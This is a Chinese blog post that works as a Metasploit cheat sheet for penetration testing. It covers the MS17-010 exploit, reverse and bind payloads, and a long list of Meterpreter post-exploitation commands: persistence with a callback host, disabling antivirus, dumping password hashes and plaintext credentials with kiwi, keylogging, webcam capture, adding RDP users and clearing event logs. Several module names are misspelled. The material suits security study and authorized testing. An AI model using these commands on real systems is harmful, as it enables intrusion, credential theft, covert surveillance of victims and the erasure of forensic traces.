MSF的使用

基础使用

msfconsole                                            # 进入框架
search ms17_010                                       # 使用search 命令查找相关漏洞
use exploit /windows/smb/ms17_010_rternablblue        # 使用use进入模块
info                                                  # 使用info查看模块信息
set playload windows                                  # 设置攻击载荷(反向)
show options                                          # 查看模块需要配置的参数
set RHOST 192.168.1.*                                 # 设置参数
exploit / run                                         # 攻击
sessions [id]                                         # 进入相应的shell中
使用meterpreter进行后渗透

 

漏洞利用

漏洞利用Exploit,我们也将它叫做EXP,它是针对漏洞进行攻击的代码,这一模块路径在

/usr/share/metasploit-framework/modules/exploits

针对不同的平台有不同的EXP

 

Payload攻击载荷

payload:payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而Metasploit中的payload是一种特殊的模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了payload在目标中的行为。

shellcode:shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。

Single:是一种完全独立的payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非Metasploit处理工具所捕捉到。
Stager:这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
Stage:是Stager Payload下的一种Payload组件,这种payload可以提供更加高级的功能,而且没有大小限制。

 payload类型

# Single Payload的格式为:
<target>/ <single>如:Windows/powershell_bind_tcp
# Stager/Stage Payload的格式为:
<target>/ <stage> / <stager>如:Windows/meterpreter/reverse_tcp

 

正向连接使用场景

  当攻击机在内网环境,目标机在外网环境,由于目标机无法主动连接攻击机,所以就需要攻击机主动连接目标机。如果目标机开了防火墙,只开放了指定的端口,我们就只能正向连接开放的端口,如果开放的是80端口,很有可能由于80端口上的流量过多而失败。

反向连接使用场景

  当攻击机和目标机都在内网和外网时,目标机就可以主动和攻击机进行连接。一般情况下,建议反向连接,因为即使目标机开启了防火墙,也只是阻止了进入目标机的流量,而不会阻止目标机主动向外的流量。

反向连接80和443端口使用场景

  当目标机能够主动连接到攻击机,且攻击机的防火墙设置的特别严格,对外的网络也做了严格的限制,只允许80和443端口与外部通信时,就可以利用80和443端口进行反向连接。

 

Meterpreter

  meterpreter属于后渗透工具。它属于在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于"内存DLL注入"理念实现的。它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

  该工具需要先和目标进行会话连接,可能是bind正向连接,或者反向reverse连接。反向连接的时候加载dll链接文件,同时后台悄悄处理dll文件。

  其次Meterpreter核心代码初始化,通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输

  由于meterpreter是基于内存DLL建立的连接。所以,只要目标主机关机,连接就会断。每次想连接的时候,都需要攻击,然后再次利用meterpreter建立连接。所以,得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,就可以连接到该主机。

  关于建立持续性后门有两种方法,一是通过启动项(persistence),另一种就是通过服务(metsvc)启动浏览器进入。为了方便渗透测试人员,将木马放到Windows的启动目录中C:\Users$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup ,这时每次目标机开机就都能够运行木马,我们只需要监听相应的端口就可以得到目标的shell。我们还可以使用命令run exploit/windows/local/persistence lhost=192.168.86.135 lport=9997 在目标机上生成*.vbs的文件,并将该服务加入注册表,目标机开机就会启动,但是这种方式很容易被杀软查杀。

Meterpreter的特点

    • 1、Meterpreter完全驻留内存,没有写入到磁盘。
    • 2、Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其他正在运行的进程。
    • 3、默认情况下,Meterpreter的通信是加密的,所以很安全。
    • 4、扩展性,许多新的特征模块可以被加载。

 

后渗透

  在本阶段,使用windows/x64/meterpreter/reserve_tcp模块的payload生成载荷开启监听,然后诱导web服务器下载,等待目标机上线,然后进行后渗透阶段。

  1、输入shell命令进入目标机的cmd_shell中

  2、chcp 65001 将显示的乱码更改成正常字符

  3、exit 退出shell

  4、从meterpreter退出MSF框架

  5、查看目标主机信息  sysinfo

  6、查看主机是否在虚拟机上  run post/windows/gather/checkvm

 

  7、关闭杀毒软件  run killav

 

  8、获取目标主机的详细信息  run scraper

 

  9、访问文件系统

pwd         # 查看当前目录
cd          # 切换目标目录
cat         # 读取文件内容
rm          # 删除文件
edit        # 使用vim编辑文件
ls          # 获取当前目录下的文件
mkdir       # 新建目录
rmdir       # 删除目录

 

  10、文件的上传和下载

download file     # 从目标系统中下载文件

upload file       # 向目标系统上传文件

 

   11、权限提升

getuid             # 获取当前用户的信息
getsystem          # 自动提权为系统权限(可能会失败,也有可能为假权限)

 

  12、获取用户密码

run windows/gather/credentials/windows_autologin    # 抓取自动登录密码
hashdump                                            # 导出密码哈希

load kiwi                                           # 使用MSF自带的kiwi模块抓取密码

# 使用kiwi模块需要拥有system权限,可以使用前面的getsystem或者在shell中使用其他手段进行提权

 

  13、运行程序  run post/windows/gather/enum_applications

# execute命令用法:
execute [参数] -f 指定的可执行文件

-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程

 

  14、 屏幕截图  screenshot

 

  15、创建账号  

run post/windows/gather/enum_logged_on_users        # 查看目标主机的用户

# 创建用户
run getgui -u 用户 -p 密码
-u:指定用户
-p:指定密码

# 进入shell中创建
enable_rdp 脚本
run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456  # 添加用户
run post/windows/manage/enable_rdp                                    # 开启远程桌面
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662            # 将3389转发到6662

 

  16、远程桌面

idletime                                # 查看远程用户的空闲时长

run post/windows/manage/enable_rdp      # 开启远程桌面

  17、键盘记录

keyscan_start            # 开启键盘记录功能
keyscan_dump             # 显示捕捉到的键盘记录信息
keyscan_stop             # 停止键盘记录功能

 

  18、 进程迁移

getpid                             # 查看当前进程的ID
migrate [id]                       # 迁移到pid的进程

run post/windows/manage/migrate    # 自动迁移进程命令

 

  19、禁止目标主机使用键盘鼠标

uictl disable(enable) keyboard     # 禁止(允许)目标使用键盘
uictl disable(enable) mouse        # 禁止(允许)目标使用鼠标

 

  20、 用目标主机摄像头拍照

webcam_list     # 获取目标系统的摄像头列表
webcam_snap     # 从指定的摄像头,拍摄照片
webcam_stream   # 从指定的摄像头,开启视频

 

扩展库

 load/use命令

load/use     # 加载模块
load -l      # 列出所有可用的扩展
load -help   # 帮助、说明
load 双击Tab  # 列出可用扩展

 

 加载stdapi

load stdapi    # 新版不用此扩展。为了应对一些显示无命令的情况

 run命令

run     # 执行一个已有模块
# run+双击Tab键,会列出所有的已有的脚本
# 常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等

 

 session

sessions -u id      # 升级session,默认调用post/multi/manage/shell_to_meterpreter模块

 

 socks代理

推荐一篇文章,师傅讲的很详细

内网渗透之代理转发

 

 portwd端口转发

portfwd add -l 9999 -r 192.168.10.42 -p 3389        # 将192.168.10.42的3389端口转发到本地的9999端口上,这里的192.168.10.42是获取到权限的目标主机
-l              # 本地监听的端口,用于接收目标主机的端口反弹
-p              # 目标服务器的端口
add             # 添加一个连接

portfwd delete -l 9999 -r 192.168.10.42 -p 3389     # 删除一个连接

 

 清除事件日志

clearev     # 清除事件日志

 

powershell

load powershell                                    # 加载powershell功能
powershell_import /root/PowerView.ps1              # 导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain                   # 执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称;
powershell_execute Invoke-UserHunter               # 该功能模块用于定位域管理员登录的主机;
powershell_execute Get-NetForest                   # 该模块用于定位域信息
powershell_execute Invoke-EnumerateLocalAdmin      # 枚举域中所有计算机上本地管理员组的成员

 

posted @ 2023-02-28 00:01  catg0d  阅读(76)  评论(0)    收藏  举报